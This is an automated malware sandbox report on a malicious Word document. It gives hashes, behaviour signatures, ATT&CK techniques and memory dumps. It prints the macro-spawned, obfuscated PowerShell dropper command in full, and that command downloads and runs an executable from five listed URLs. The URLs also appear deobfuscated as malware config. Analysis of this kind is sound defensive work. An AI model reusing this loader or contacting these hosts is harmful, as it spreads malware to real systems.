Analysis

  • max time kernel
    60s
  • max time network
    58s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    13-10-2021 09:49

General

  • Target

    test/0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc

  • Size

    265KB

  • MD5

    34c85b83169b5e70bbfc76c2d6de2be0

  • SHA1

    cf7d59f9e2774b8b2de9f578bad3b78947d0c3f8

  • SHA256

    0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b

  • SHA512

    0610b68ef9916c73ed782dc60045c914c52dff1dc1258b634dd009303a4837b403334f2e6c35f137e12ca473f30c747cd9e08df2acbc3d2a9a6790b1b469eb4e

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC

exe.dropper

http://antigua.aguilarnoticias.com/nYZZcHxoYdA

exe.dropper

http://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA

exe.dropper

http://mywedphoto.ru/SPcBpzOvD6_bogkPa

exe.dropper

http://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\test\0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $idIgw8 = '$zMbv9jt0l = new-obj15464.589749099ect -com15464.589749099obj15464.589749099ect wsc15464.589749099ript.she15464.589749099ll;$ILTY2 = new-object sys15464.589749099tem.net.web15464.589749099client;$rEAav7Xix = new-object random;$YiwXfglRS = \"15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://antigua.aguilarnoticias.com/nYZZcHxoYdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://mywedphoto.ru/SPcBpzOvD6_bogkPa,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki\".spl15464.589749099it(\",\");$iWybG3KDH = $rEAav7Xix.nex15464.589749099t(1, 65536);$jPBYO2 = \"c:\win15464.589749099dows\temp\put15464.589749099ty.exe\";for15464.589749099each($MOrNXe14G in $YiwXfglRS){try{$ILTY2.dow15464.589749099nlo15464.589749099adf15464.589749099ile($MOrNXe14G.ToS15464.589749099tring(), $jPBYO2);sta15464.589749099rt-pro15464.589749099cess $jPBYO2;break;}catch{}}'.replace('15464.589749099', $MGFnZb);$Wj3yxlHrU = '';iex($idIgw8);
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3192

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2492-121-0x00007FFF6C2F0000-0x00007FFF6C300000-memory.dmp
    Filesize

    64KB

  • memory/2492-116-0x00007FFF6C2F0000-0x00007FFF6C300000-memory.dmp
    Filesize

    64KB

  • memory/2492-118-0x00007FFF6C2F0000-0x00007FFF6C300000-memory.dmp
    Filesize

    64KB

  • memory/2492-117-0x00007FFF6C2F0000-0x00007FFF6C300000-memory.dmp
    Filesize

    64KB

  • memory/2492-120-0x000001C66C0E0000-0x000001C66C0E2000-memory.dmp
    Filesize

    8KB

  • memory/2492-119-0x000001C66C0E0000-0x000001C66C0E2000-memory.dmp
    Filesize

    8KB

  • memory/2492-115-0x00007FFF6C2F0000-0x00007FFF6C300000-memory.dmp
    Filesize

    64KB

  • memory/2492-122-0x000001C66C0E0000-0x000001C66C0E2000-memory.dmp
    Filesize

    8KB

  • memory/2492-272-0x000001C67C9F0000-0x000001C67C9F4000-memory.dmp
    Filesize

    16KB

  • memory/3192-261-0x0000000000000000-mapping.dmp
  • memory/3192-273-0x000001FF6A290000-0x000001FF6A292000-memory.dmp
    Filesize

    8KB

  • memory/3192-274-0x000001FF6A293000-0x000001FF6A295000-memory.dmp
    Filesize

    8KB

  • memory/3192-291-0x000001FF6A296000-0x000001FF6A298000-memory.dmp
    Filesize

    8KB